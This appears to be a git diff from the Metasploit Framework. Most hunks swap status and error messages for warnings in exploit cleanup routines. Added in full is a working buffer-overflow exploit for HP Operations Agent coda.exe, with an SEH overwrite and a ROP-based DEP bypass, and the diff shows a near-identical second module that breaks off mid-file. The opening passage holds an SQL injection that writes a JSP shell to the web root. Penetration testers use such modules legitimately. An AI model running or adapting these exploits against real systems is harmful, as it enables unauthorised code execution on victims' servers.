||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
|
||||
jsp.unpack("H*")[0]
|
||||
end
|
||||
|
||||
def sqli_exec(sqli_string)
|
||||
cookie = 'STATE_COOKIE=&'
|
||||
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
|
||||
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
|
||||
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
|
||||
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
|
||||
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
|
||||
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
|
||||
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
|
||||
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
|
||||
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
|
||||
|
||||
state_id = Rex::Text.rand_text_numeric(5)
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
|
||||
'headers' => {
|
||||
'Cookie' => cookie,
|
||||
'Accept-Encoding' => 'identity'
|
||||
},
|
||||
'vars_get' => {
|
||||
'reqType' =>'AdvanceSearch',
|
||||
'SUBREQUEST' =>'XMLHTTP'
|
||||
},
|
||||
'vars_post' => {
|
||||
'ANDOR' => 'and',
|
||||
'condition_1' => 'OpenPorts@PORT',
|
||||
'operator_1' => 'IN',
|
||||
'value_1' => sqli_string,
|
||||
'COUNT' => '1'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Run the actual exploit
|
||||
#
|
||||
def inject_exec(out)
|
||||
hex_jsp = generate_jsp_payload
|
||||
rnd_num = Rex::Text.rand_text_numeric(1)
|
||||
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
|
||||
sqli << (2..28).map {|e| e} * ","
|
||||
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying SQL injection...")
|
||||
sqli_exec(sqli)
|
||||
|
||||
fname = "/#{File.basename(out)}"
|
||||
print_status("#{rhost}:#{rport} - Requesting #{fname}")
|
||||
send_request_raw({'uri' => fname})
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# This is used to collect files we want to delete later
|
||||
@clean_ups = []
|
||||
|
||||
@my_target = pick_target
|
||||
if @my_target.nil?
|
||||
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
|
||||
return
|
||||
end
|
||||
|
||||
jsp_name = rand_text_alpha(rand(6)+3)
|
||||
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
|
||||
|
||||
@clean_ups << outpath
|
||||
|
||||
inject_exec(outpath)
|
||||
end
|
||||
end
|
|
@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
|
||||
print_error("Warning: got no response from the upload, continuing...") if !res
|
||||
print_warning("Warning: got no response from the upload, continuing...") if !res
|
||||
|
||||
# Delete the uploaded JAR file
|
||||
if datastore['REMOVE_PLUGIN']
|
||||
|
|
|
@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
@clean_files.each do |f|
|
||||
print_status("#{@peer} - Removing: #{f}")
|
||||
print_warning("#{@peer} - Removing: #{f}")
|
||||
begin
|
||||
if cli.type == 'meterpreter'
|
||||
cli.fs.file.rm(f)
|
||||
|
|
|
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def on_new_session(client)
|
||||
if target['Platform'] == 'linux'
|
||||
print_status("Deleting #{@payload_exe} payload file")
|
||||
print_warning("Deleting #{@payload_exe} payload file")
|
||||
execute_command("/bin/sh@-c@rm #{@payload_exe}")
|
||||
else
|
||||
print_status("Windows does not allow running executables to be deleted")
|
||||
|
|
|
@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
print_status("Deleting the #{@payload_exe} file")
|
||||
print_warning("Deleting the #{@payload_exe} file")
|
||||
client.fs.file.rm(@payload_exe)
|
||||
|
||||
end
|
||||
|
|
|
@ -140,6 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_new_session(client)
|
||||
print_warning("Deleting #{@token}.php")
|
||||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
client.fs.file.rm("#{@token}.php")
|
||||
|
|
|
@ -217,7 +217,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (res.code < 200 or res.code >= 300)
|
||||
case res.code
|
||||
when 401
|
||||
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
@ -259,9 +259,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'GET'
|
||||
}, 20)
|
||||
if (! res)
|
||||
print_error("WARNING: Undeployment failed on #{path} [No Response]")
|
||||
print_warning("WARNING: Undeployment failed on #{path} [No Response]")
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
||||
print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
||||
end
|
||||
|
||||
handler
|
||||
|
|
|
@ -80,8 +80,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
||||
cli.fs.file.rm(@target_path)
|
||||
print_status("#{@target_path} removed")
|
||||
|
||||
begin
|
||||
print_warning("Deleting: #{@target_path}")
|
||||
cli.fs.file.rm(@target_path)
|
||||
print_good("#{@target_path} removed")
|
||||
rescue
|
||||
print_error("Unable to delete: #{@target_path}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status('No Errors, appears to have succeeded!')
|
||||
rescue ::Rex::Proto::SunRPC::RPCTimeout
|
||||
print_error('Warning: ' + $!)
|
||||
print_warning('Warning: ' + $!)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -157,9 +157,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Delete the banner :)
|
||||
if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
|
||||
print_error("WARNING: Unable to automatically delete the banner :-/")
|
||||
print_warning("WARNING: Unable to automatically delete the banner :-/")
|
||||
else
|
||||
print_status("Successfully deleted banner # #{ban_id}")
|
||||
print_good("Successfully deleted banner # #{ban_id}")
|
||||
end
|
||||
|
||||
print_status("You should have a session now.")
|
||||
|
|
|
@ -65,6 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
f = "pathCache.php"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
begin
|
||||
print_warning("#{@peer} - Deleting #{f}")
|
||||
client.fs.file.rm(f)
|
||||
print_good("#{@peer} - #{f} removed to stay ninja")
|
||||
rescue
|
||||
|
|
|
@ -69,6 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
begin
|
||||
print_warning("#{@peer} - Deleting #{@upload_php}")
|
||||
client.fs.file.rm(@upload_php)
|
||||
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
|
||||
rescue
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => test_url
|
||||
}, 25)
|
||||
if (not res) or (res.code != 404)
|
||||
print_error("WARNING: The test file exists already!")
|
||||
print_warning("WARNING: The test file exists already!")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => cmd_base + Rex::Text.uri_encode(rev)
|
||||
}, 25)
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("WARNING: unable to remove test file (#{test_file})")
|
||||
print_warning("WARNING: unable to remove test file (#{test_file})")
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => test_url
|
||||
}, 25)
|
||||
if (not res) or (res.body.match(content))
|
||||
print_error("WARNING: The test file exists already!")
|
||||
print_warning("WARNING: The test file exists already!")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => cmd_base + Rex::Text.uri_encode(search)
|
||||
}, 25)
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("WARNING: unable to remove test file (#{test_file})")
|
||||
print_warning("WARNING: unable to remove test file (#{test_file})")
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
|
|
|
@ -74,6 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_new_session(client)
|
||||
print_warning("Deleting #{@payload_name}")
|
||||
if client.type == "meterpreter"
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
client.fs.file.rm(@payload_name)
|
||||
|
|
|
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
|
||||
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
|
||||
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
|
||||
print_debug("URIPATH set to #{datastore['URIPATH']}")
|
||||
print_warning("URIPATH set to #{datastore['URIPATH']}")
|
||||
|
||||
super
|
||||
end
|
||||
|
|
|
@ -83,9 +83,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
begin
|
||||
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
|
||||
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
|
|
|
@ -88,9 +88,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
begin
|
||||
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
|
||||
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
|
|
|
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
begin
|
||||
print_status("Deleting the vbs payload \"#{@stager_name}\" ...")
|
||||
print_warning("Deleting the vbs payload \"#{@stager_name}\" ...")
|
||||
client.fs.file.rm("#{@temp_folder}/#{@stager_name}")
|
||||
print_good("The vbs stager has been deleted successfully")
|
||||
print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
|
||||
|
|
|
@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
lines = []
|
||||
launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
|
||||
if (lines.length > 2)
|
||||
print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
|
||||
print_warning("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
|
||||
end
|
||||
|
||||
output << "&"+
|
||||
|
|
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Zhao Liang', #Initial Descovery
|
||||
'Zhao Liang', #Initial Discovery
|
||||
'Lincoln', #Metasploit
|
||||
'corelanc0d3r', #Metasploit
|
||||
'thelightcosine' #Metasploit
|
||||
|
@ -36,9 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
'EncoderOptions' => { 'BufferRegister' => 'EDI' }
|
||||
'BadChars' => "\x00\x0a\x0d\x20",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -65,6 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
||||
|
||||
begin
|
||||
print_warning("#{@peer} - Removing #{@payload_path}")
|
||||
cli.fs.file.rm(@payload_path)
|
||||
print_good("#{@peer} - #{@payload_path} deleted")
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -96,14 +96,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
||||
|
||||
begin
|
||||
print_status("Deleting #{@php_fname}")
|
||||
print_warning("Deleting #{@php_fname}")
|
||||
cli.fs.file.rm(@php_fname)
|
||||
rescue ::Exception => e
|
||||
print_error("Please note: #{@php_fname} is stil on disk.")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Deleting #{@exe_fname}")
|
||||
print_warning("Deleting #{@exe_fname}")
|
||||
cli.fs.file.rm(@exe_fname)
|
||||
rescue ::Exception => e
|
||||
print_error("Please note: #{@exe_fname} is still on disk.")
|
||||
|
|
|
@ -102,9 +102,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
begin
|
||||
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
print_warning("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
|
||||
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
print_warning("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
|
||||
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
|
|
|
@ -95,9 +95,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
begin
|
||||
jsp = @outpath.gsub(/\//, "\\\\")
|
||||
jsp = jsp.gsub(/"/, "")
|
||||
vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
|
||||
print_warning("#{rhost}:#{rport} - Deleting: #{jsp}")
|
||||
cli.fs.file.rm(jsp)
|
||||
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
|
||||
print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
|
||||
end
|
||||
|
|
|
@ -79,10 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
files.each { |f|
|
||||
print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
|
||||
print_warning("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
|
||||
cli.fs.file.rm(f['path'] + "\\" + f['name'])
|
||||
}
|
||||
print_status("#{@peer} - #{aspx} deleted")
|
||||
print_good("#{@peer} - #{aspx} deleted")
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to delete #{aspx}: #{e.message}")
|
||||
end
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||
case res.code
|
||||
when 401
|
||||
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
@ -101,9 +101,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
|
||||
case res.code
|
||||
when 401
|
||||
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
||||
when 403
|
||||
print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
|
||||
print_warning("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
|
|
@ -245,7 +245,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
print_status("Deleting #{delete_me_too} ...")
|
||||
print_warning("Deleting #{delete_me_too} ...")
|
||||
begin
|
||||
client.fs.file.rm(delete_me_too)
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -373,11 +373,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?
|
||||
|
||||
print_status("Changing permissions on #{delete_me_too} ...")
|
||||
print_warning("Changing permissions on #{delete_me_too} ...")
|
||||
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
print_status("Deleting #{delete_me_too} ...")
|
||||
print_warning("Deleting #{delete_me_too} ...")
|
||||
begin
|
||||
client.fs.file.rm(delete_me_too)
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
#
|
||||
vuln = false
|
||||
winver = sysinfo["OS"]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008', 'Windows 8' ]
|
||||
affected.each { |v|
|
||||
if winver.include? v
|
||||
vuln = true
|
||||
|
|
|
@ -120,8 +120,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
service_delete(name, server)
|
||||
rescue
|
||||
print_error("Exception running payload: #{$!.class} : #{$!}")
|
||||
print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
|
||||
print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
|
||||
print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")
|
||||
print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow vulnerability in HP Operations Agent for
|
||||
Windows. The vulnerability exists in the HP Software Performance Core Program
|
||||
component (coda.exe) when parsing requests for the 0x34 opcode. This module has
|
||||
been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and
|
||||
Windows 2003 SP2 (DEP bypass).
|
||||
|
||||
The coda.exe components runs only for localhost by default, network access must be
|
||||
granted through its configuration to be remotely exploitable. On the other hand it
|
||||
runs on a random TCP port, to make easier reconnaissance a check function is
|
||||
provided.
|
||||
},
|
||||
'Author' => [
|
||||
'Luigi Auriemma', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-2019' ],
|
||||
[ 'OSVDB', '83673' ],
|
||||
[ 'BID', '54362' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-114/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Operations Agent 11.00 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x100e79eb, # ppr from OvSecCore.dll
|
||||
'Offset' => 2084
|
||||
}
|
||||
],
|
||||
[ 'HP Operations Agent 11.00 / Windows 2003 SP2',
|
||||
{
|
||||
'Ret' => 0x10073c2c, # stackpivot # ADD ESP,404 # RETN from OvSecCore.dll
|
||||
'Offset' => 2084,
|
||||
'RopOffset' => 36
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jul 09 2012'
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def nop
|
||||
return make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
res = ping
|
||||
|
||||
if not res
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res !~ /HTTP\/1\.1 200 OK/
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res =~ /server:.*coda 11.(\d+)/
|
||||
minor = $1.to_i
|
||||
if minor < 2
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if res =~ /server:.*coda/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def ping
|
||||
|
||||
ping_request = <<-eos
|
||||
Ping /Hewlett-Packard/OpenView/BBC/ping/ HTTP/1.1
|
||||
cache-control: no-cache
|
||||
connection: close
|
||||
content-length: 0
|
||||
content-type: application/octetstream
|
||||
host: #{rhost}:#{rport}
|
||||
pragma: no-cache
|
||||
targetid: unknown
|
||||
targeturi: http://#{rhost}:#{rport}/Hewlett-Packard/OpenView/BBC/ping/
|
||||
user-agent: BBC 11.00.044; coda unknown version
|
||||
|
||||
eos
|
||||
|
||||
connect
|
||||
sock.put(ping_request)
|
||||
res = sock.get_once(-1, 1)
|
||||
disconnect
|
||||
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status "#{peer} - Ping host..."
|
||||
res = ping
|
||||
if not res or res !~ /HTTP\/1\.1 200 OK/ or res !~ /server:.*coda/
|
||||
print_error("#{peer} - Host didn't answer correctly to ping")
|
||||
return
|
||||
end
|
||||
|
||||
connect
|
||||
|
||||
http_headers = <<-eos
|
||||
GET /Hewlett-Packard/OpenView/Coda/ HTTP/1.1
|
||||
cache-control: no-cache
|
||||
content-type: application/octetstream
|
||||
expect: 100-continue
|
||||
host: #{rhost}:#{rport}
|
||||
pragma: no-cache
|
||||
targetid: unknown
|
||||
targeturi: http://[#{rhost}]:#{rport}/Hewlett-Packard/OpenView/Coda/
|
||||
transfer-encoding: chunked
|
||||
user-agent: BBC 11.00.044; 14
|
||||
|
||||
eos
|
||||
|
||||
print_status("#{peer} - Sending HTTP Expect...")
|
||||
sock.put(http_headers)
|
||||
res = sock.get_once(-1, 1)
|
||||
if not res or res !~ /HTTP\/1\.1 100 Continue/
|
||||
print_error("#{peer} - Failed while sending HTTP Expect Header")
|
||||
return
|
||||
end
|
||||
|
||||
coda_request = [
|
||||
0x0000000e,
|
||||
0xffffffff,
|
||||
0x00000000,
|
||||
0x00000034, # Operation 0x8c
|
||||
0x00000002,
|
||||
0x00000002
|
||||
].pack("N*")
|
||||
|
||||
if target.name =~ /Windows XP/
|
||||
bof = rand_text(target['Offset'])
|
||||
bof << generate_seh_record(target.ret)
|
||||
bof << payload.encoded
|
||||
bof << rand_text(4000) # Allows to trigger exception
|
||||
else # Windows 2003
|
||||
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'2003'})
|
||||
bof = rand_text(target['RopOffset'])
|
||||
bof << rop_payload
|
||||
my_payload_length = target['RopOffset'] + rop_payload.length
|
||||
bof << rand_text(target['Offset'] - my_payload_length)
|
||||
bof << generate_seh_record(target.ret)
|
||||
bof << rand_text(4000) # Allows to trigger exception
|
||||
end
|
||||
|
||||
coda_request << [bof.length].pack("n")
|
||||
coda_request << bof
|
||||
|
||||
http_body = coda_request.length.to_s(16)
|
||||
http_body << "\x0d\x0a"
|
||||
http_body << coda_request
|
||||
http_body << "\x0d\x0a\x0d\x0a"
|
||||
|
||||
print_status("#{peer} - Triggering overflow...")
|
||||
sock.put(http_body)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,209 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow vulnerability in HP Operations Agent for
|
||||
Windows. The vulnerability exists in the HP Software Performance Core Program
|
||||
component (coda.exe) when parsing requests for the 0x8c opcode. This module has
|
||||
been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and
|
||||
Windows 2003 SP2 (DEP bypass).
|
||||
|
||||
The coda.exe components runs only for localhost by default, network access must be
|
||||
granted through its configuration to be remotely exploitable. On the other hand it
|
||||
runs on a random TCP port, to make easier reconnaissance a check function is
|
||||
provided.
|
||||
},
|
||||
'Author' => [
|
||||
'Luigi Auriemma', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-2020' ],
|
||||
[ 'OSVDB', '83674' ],
|
||||
[ 'BID', '54362' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-115/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP Operations Agent 11.00 / Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x100e79eb, # ppr from OvSecCore.dll
|
||||
'Offset' => 2084
|
||||
}
|
||||
],
|
||||
[ 'HP Operations Agent 11.00 / Windows 2003 SP2',
|
||||
{
|
||||
'Ret' => 0x10073c2c, # stackpivot # ADD ESP,404 # RETN from OvSecCore.dll
|
||||
'Offset' => 2084,
|
||||
'RopOffset' => 36
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jul 09 2012'
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def junk(n=4)
|
||||
return rand_text_alpha(n).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def nop
|
||||
return make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
